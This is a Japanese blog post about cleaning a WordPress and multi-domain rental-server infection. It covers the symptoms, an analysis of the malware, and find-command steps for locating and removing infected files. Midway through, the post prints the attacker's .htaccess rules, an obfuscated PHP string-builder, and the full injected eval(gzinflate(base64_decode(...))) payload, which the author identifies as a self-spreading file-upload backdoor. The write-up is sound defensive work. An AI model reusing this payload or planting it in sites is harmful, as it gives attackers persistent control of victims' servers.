WordPressをセキュリティ対策せずに使っていると間も無くマルウェアに侵入されてしまいます。
症状
- WordPressサイトが知らないショッピングサイトにリダイレクトされている
- 静的HTMLサイトだったはずが、全てのページリンクがトップページの表示になっている
参考になった記事はこちら
https://qiita.com/Ayutanalects/items/a359df4e4b445229fcf2
影響範囲
当のWordPressサイトでは
- 不明なショッピングサイトにリダイレクトされている。
- Google サーチコンソールから「商品の構造化データの問題」アラートが届くようになる。
- このサイトはショッピングサイトではないので商品の構造化データはないはずなのに
- WordPress管理画面にアクセスできなくなっている。
同一アカウントの別サイト(マルチドメイン)では
- トップページは表示されるが、それ以外のページが表示されない。
- .htaccess が改ざんされていて、全てのリンクが index.php にリダイレクトされているため
大人の事情
私の立場は、友人である依頼者からサーバーの保守管理を請けている状況。
レンタルサーバーの契約は友人の名義。
保守管理とは
友人は、自身のクライアントに対し、レンタルサーバースペースやメールアカウントの提供を行なっている。
その際のサーバーコンパネの操作や、アカウントの払い出し作業などを保守管理として担当している状況。
今回も、新しいクライアントがHPを公開するということで、独自ドメインのマルチドメイン設定とサーバースペースのFTPアカウント払い出しを行なっていました。
- レンタルサーバーの又貸しになるのではという懸念があると思いますが、不特定の人に対する貸し出しではないので問題ないことをサーバー会社に確認しています。
勘所
知らないページにリダイレクトされている。
リンクをクリックしてもページが変わらない。
この2点からピンとくるポイントは、 .htaccess によるリダイレクト設定だと思います。
マルウェアを見る
- .htaccessによるアクセス制限
- いくつかのPHPファイルによるアクセスリダイレクトとマルウェアの増殖
- 感染しているPHPファイルにアクセスすると.htaccessの上書きといくつかのPHPファイルが作成される
- このマルウェアはランダムに深いディレクトリに配置されることもあるので、目視ではチェック漏れする恐れがある
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
参考にした @Ayutanalects さんの記事と比較して制限しているPHPファイルの種類が増えている。
<?php
$OO0__00_OO=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$OO_0O_0O_0=$OO0__00_OO[44].$OO0__00_OO[53].$OO0__00_OO[31].$OO0__00_OO[65].$OO0__00_OO[10].$OO0__00_OO[53].$OO0__00_OO[31].$OO0__00_OO[44].$OO0__00_OO[39].$OO0__00_OO[21].$OO0__00_OO[56].$OO0__00_OO[31].$OO0__00_OO[10].$OO0__00_OO[56].$OO0__00_OO[21].$OO0__00_OO[39].$OO0__00_OO[39].$OO0__00_OO[3].$OO0__00_OO[21].$OO0__00_OO[56].$OO0__00_OO[25];$O__O0_OO00=$OO0__00_OO[40].$OO0__00_OO[13].$OO0__00_OO[53].$OO0__00_OO[31].$OO0__00_OO[21].$OO0__00_OO[46].$OO0__00_OO[10].$OO0__00_OO[40].$OO0__00_OO[0].$OO0__00_OO[56].$OO0__00_OO[25].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[56].$OO0__00_OO[39].$OO0__00_OO[63].$OO0__00_OO[31].$OO0__00_OO[5].$OO0__00_OO[13];$OOO__00_O0=$OO0__00_OO[40].$OO0__00_OO[13].$OO0__00_OO[53].$OO0__00_OO[31].$OO0__00_OO[21].$OO0__00_OO[46].$OO0__00_OO[10].$OO0__00_OO[65].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[46].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[21].$OO0__00_OO[10].$OO0__00_OO[34].$OO0__00_OO[21].$OO0__00_OO[13].$OO0__00_OO[21];$O00OO_O__0=$OO0__00_OO[40].$OO0__00_OO[13].$OO0__00_OO[53].$OO0__00_OO[31].$OO0__00_OO[21].$OO0__00_OO[46].$OO0__00_OO[10].$OO0__00_OO[40].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[3].$OO0__00_OO[39].$OO0__00_OO[0].$OO0__00_OO[56].$OO0__00_OO[25].$OO0__00_OO[63].$OO0__00_OO[5].$OO0__00_OO[65];$O_O0O_00_O=$OO0__00_OO[40].$OO0__00_OO[13].$OO0__00_OO[53].$OO0__00_OO[31].$OO0__00_OO[21].$OO0__00_OO[46].$OO0__00_OO[10].$OO0__00_OO[40].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[13].$OO0__00_OO[63].$OO0__00_OO[46].$OO0__00_OO[31].$OO0__00_OO[0].$OO0__00_OO[60].$OO0__00_OO[13];$OO0_OO00__=$OO0__00_OO[42].$OO0__00_OO[63].$OO0__00_OO[39].$OO0__00_OO[31].$OO0__00_OO[10].$OO0__00_OO[44].$OO0__00_OO[60].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[56].$OO0__00_OO[0].$OO0__00_OO[5].$OO0__00_OO[13].$OO0__00_OO[31].$OO0__00_OO[5].$OO0__00_OO[13].$OO0__00_OO[40];$O_00O0__OO=$OO0__00_OO[42].$OO0__00_OO[63].$OO0__00_OO[39].$OO0__00_OO[31].$OO0__00_OO[10].$OO0__00_OO[65].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[56].$OO0__00_OO[0].$OO0__00_OO[5].$OO0__00_OO[13].$OO0__00_OO[31].$OO0__00_OO[5].$OO0__00_OO[13].$OO0__00_OO[40];$O_O_0_0OO0=$OO0__00_OO[40].$OO0__00_OO[55].$OO0__00_OO[40].$OO0__00_OO[10].$OO0__00_OO[65].$OO0__00_OO[31].$OO0__00_OO[13].$OO0__00_OO[10].$OO0__00_OO[13].$OO0__00_OO[31].$OO0__00_OO[46].$OO0__00_OO[44].$OO0__00_OO[10].$OO0__00_OO[34].$OO0__00_OO[63].$OO0__00_OO[53];
?>
<?php
# ここから本来のindex.phpファイルの内容
- index.phpファイルには不正なコードが3行(行を含む)挿入されています。
- ファイルパーミッションは444、一般的なFTPクライアントだと更新できないケースがある。
- index.phpと”ほぼ”同時にabout.phpファイルも作られているケースが多い。
<?php function Nup($EzonIg){$EzonIg=gzinflate(base64_decode($EzonIg));for($i=0;$i<strlen($EzonIg);$i++) {$EzonIg[$i] = chr(ord($EzonIg[$i])-1);}return $EzonIg;}$L7CRgr = "cf889afa94f1a32c1b999985315dddce";eval(Nup("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"));?>
- PHP Sandboxなどで、上のコードのevalをechoに変えて何を実行しようとているか見てみる
- その結果、about.phpファイルはウェブフォームで任意のファイルをアップロードさせている
- 上記の.htaccessファイルに記載のないPHPファイルが作られてしまうのはこのファイルのせいかもしれない
findコマンドでマルウェアを特定する
FTPソフトでディレクトリをポチポチやってると、その間にどこかで増殖したり、上書きされたりしちゃうので、コマンドでなるべくいっぺんに該当ファイルを削除してしまいたいです。
事前にやっておくこと
- WordPressプラグインを削除
- 今回、Sid Girari Shell Uploader というファイルアップローダがインストールされていたので削除しておきます
- 可能ならばWordPressサイトはディレクトリ名の変更でもいいので、ウェブアクセスできないようにしておく
SSHでディレクトリ全体を探索
FTPソフトからですと、ファイルパーミッションの問題で、マルウェアを削除できません。
find
コマンド
オプション
-
-type f
ファイルのみ検索 -
-name "filename.*"
ファイル名を指定して検索(ワイルドカードが使える) -
-mtime 14
更新日時で検索(例、14日以内のファイル) -
-regex ".*\(content\|about\|2index\).php"
正規表現で検索
手順書
- いくつかの改ざんされた .htaccess ファイルをディレクトリで見てみて、更新日時を記録しておきます。
おそらく、この日付がマルウェアが活動した時刻になるので、この時刻の前後でマルウェアPHPファイルの増殖が起きていると思われます。 -
-mtime
オプションで1の日付に近いファイルの一覧を見ます。
-name "*.php"
でPHPファイルのみに制限してもいいと思います。 - index.phpファイルは、本来のファイルの上部にマルウェアが挿入されている形式なので、面倒ですが、一つ一つ頭の3行を削除します。
- .htaccess ファイルは、完全に上書きされているので、本来のファイルに修正します。
- それ以外のPHPファイルは、名前が重複していなければ問題ないと思うので、まとめて削除します。
最後に経過観測しつつ、残党がいないか確認しましょう
find . -mtime 0 -type f -name ".htaccess"
「今日更新された.htaccessファイル」を検索して、おかしなケースがないか確認します。
もし、ここで自分が作業した以外の.htaccessファイルがリストされたら、残念ですが、どこかにマルウェアが生き残っています。
find . -mtime 0 -type f -regex ".*\(content\|about\|2index\).php"
とかやって、怪しいファイルがないか探しましょう。
指定した日時以降の更新ファイル(.htaccess, .phpファイル)を検索してみる
find . -type f -newerct "2022-10-07 22:14" -regex ".*\(\.htaccess\|\.php\)$" -ls